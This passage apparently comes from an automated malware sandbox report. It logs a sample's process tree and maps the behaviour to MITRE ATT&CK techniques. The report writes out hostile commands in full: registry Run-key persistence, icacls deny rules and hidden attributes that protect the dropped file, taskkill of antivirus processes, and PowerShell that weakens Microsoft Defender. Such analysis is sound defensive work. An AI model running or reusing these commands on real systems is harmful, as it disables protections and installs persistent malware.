    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5920
- C:\Windows\system32\icacls.exe
  icacls C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /deny *S-1-1-0:(DE)(DC)(WD) /T /C
  2⤵
  - Modifies file permissions
  PID:4712
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4152
- C:\Windows\system32\icacls.exe
  icacls C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /deny *S-1-5-18:(DE)(DC)(WD) /T /C
  2⤵
  - Modifies file permissions
  PID:1232
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM bdagent.exe
  2⤵
  PID:4408
- C:\Windows\system32\reg.exe
  reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:5584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NonInteractive -WindowStyle Hidden -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -SevereThreatDefaultAction 6 -ModerateThreatDefaultAction 6 -LowThreatDefaultAction 6 -HighThreatDefaultAction 6"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5248
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM vsserv.exe
  2⤵
  PID:432
- C:\Windows\system32\reg.exe
  reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:5496
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3564
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe
  2⤵
  - Views/modifies file attributes
  PID:5872
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM ekrn.exe
  2⤵
  PID:4372
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:932

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
1⤵
- Executes dropped EXE
PID:3976

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
1⤵
- Executes dropped EXE
PID:2200

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe"
1⤵
- Executes dropped EXE
PID:3588

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

System Time Discovery

T1124

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...